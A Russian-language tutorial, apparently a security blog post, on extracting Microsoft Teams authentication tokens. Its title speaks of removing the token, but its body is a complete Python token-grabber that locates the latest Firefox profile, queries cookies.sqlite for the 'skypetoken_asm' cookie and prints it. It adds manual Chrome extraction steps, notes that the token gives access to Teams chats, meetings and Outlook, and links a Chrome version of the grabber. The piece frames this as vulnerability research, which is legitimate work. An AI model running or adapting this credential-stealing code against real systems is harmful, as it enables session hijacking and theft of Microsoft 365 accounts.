Как удалить открытый текстовый токен аутентификации Microsoft Teams

В 2022 году vectra.ai опубликовала заявление о том, что наткнулась на уязвимость в настольном приложении Microsoft Teams. На сегодняшний день Microsoft не исправила эту проблему. Их заявление кажется пренебрежительным, предполагая, что только злоумышленники, имеющие доступ к локальной системе, могут успешно использовать его. Я намерен проверить это утверждение, проведя дальнейшее исследование, которое я представлю в следующей статье. На данный момент я разработал скрипт Python, способный извлекать токен из браузера. Кроме того, я покажу, как вручную проверить восприимчивость вашей системы к этому конкретному вектору атаки.

Для этого скрипта нам нужно импортировать модули os и sqlite3. Мы также используем Firefox для этого места извлечения, но то же самое можно применить и к Chrome. Ссылку на версию для Chrome я приведу в заключении.

import os
import sqlite3

Далее нам нужно создать функцию, которая будет выполнять извлечение токенов «Skype» из файлов cookie Firefox. Поскольку структура основана на Skype и приложении на основе Electron, нам нужен только путь в данных приложения FireFox. Путь к каталогу профиля Firefox в Windows получается с помощью функции os.getenv(). Значение переменной окружения APPDATA используется для построения пути. Мы можем настроить скрипт для перехода к каталогу профиля Firefox, объединив полученный путь с необходимыми подкаталогами с помощью os.path.join(). Затем мы можем создать список этих каталогов профилей. Последний каталог профиля определяется путем поиска каталога с наибольшим временем модификации. Этого можно добиться, используя функцию max() и функцию lambda, которые сравнивают время модификации каталогов.

def extract_skype_tokens_from_firefox():
    # Get the default path to the Firefox profile directory on Windows
    appdata_path = os.getenv('APPDATA')
    firefox_profile_path = os.path.join(appdata_path, 'Mozilla', 'Firefox', 'Profiles')

    # Find the latest Firefox profile directory
    profiles = os.listdir(firefox_profile_path)
    latest_profile = max(profiles, key=lambda d: os.path.getmtime(os.path.join(firefox_profile_path, d)))

Полный путь к последнему каталогу профиля Firefox создается путем соединения пути к каталогу профиля с именем последнего каталога профиля с помощью os.path.join().

# Construct the full path to the latest Firefox profile directory
    profile_directory = os.path.join(firefox_profile_path, latest_profile)

Нам нужно проверить, существует ли файл базы данных cookie (cookies.sqlite) в последнем каталоге профиля. Если файл не существует, он печатает сообщение и возвращается из функции. Если файл базы данных cookie существует, мы устанавливаем соединение с базой данных, используя sqlite3.connect(), и создаем объект-курсор, используя conn.cursor(). Курсор выполняет SQL-запрос для выбора значения из таблицы moz_cookies, где столбец имени равен «skypetoken_asm».

# Check if the cookies database file exists
    cookies_db_path = os.path.join(profile_directory, 'cookies.sqlite')
    if not os.path.isfile(cookies_db_path):
        print("Firefox cookies database file not found.")
        return

    # Connect to the cookies database and execute the query
    conn = sqlite3.connect(cookies_db_path)
    cursor = conn.cursor()
    cursor.execute('SELECT value FROM moz_cookies WHERE name = "skypetoken_asm"')

Результат запроса извлекается с использованием cursor.fetchall(), а токены Skype извлекаются из результата путем перебора строк и выбора первого столбца (row[0]). Выводим извлеченные токены Skype на экран. Наконец, мы закрываем соединение с базой данных с помощью cursor.close() и conn.close(). Осталось только вызвать функцию extract_skype_tokens_from_firefox().

# Fetch the Skype tokens from the query result
    skype_tokens = [row[0] for row in cursor.fetchall()]

    # Print the Skype tokens when discovered
    for i, token in enumerate(skype_tokens, start=1):
        # Perform actions with each Skype token
        print(f"Skype Token #{i}: {token}")

    # Close the cursor and the database connection
    cursor.close()
    conn.close()

# Extract the tokens from FireFox by calling this function:
extract_skype_tokens_from_firefox()

Извлечение вручную:

Откройте Teams в браузере (в данном случае Chrome). Выберите Приложение › Хранилище › Файлы cookie. Выберите ссылку Teams.Microsoft.com и отфильтруйте skypetoken_asm . Скопируйте и вставьте токен.

Заключение

Таким образом, с помощью простого скрипта Python мы можем получить последний каталог профиля Firefox, проверить наличие файла базы данных cookie, подключиться к базе данных, выполнить запрос для извлечения токенов Skype и распечатать токены. Как видите, извлечь этот токен несложно. Отсюда мы могли отслеживать вызовы API, чтобы узнать, как подключиться к каналу и отправить сообщение или присоединиться к собранию. Токены также работают для Outlook и других продуктов MS 365.

Ссылки:



https://github.com/R-Eric-Kiser/python-pentesting/blob/main/Teams_Token_Grabber_Chrome.py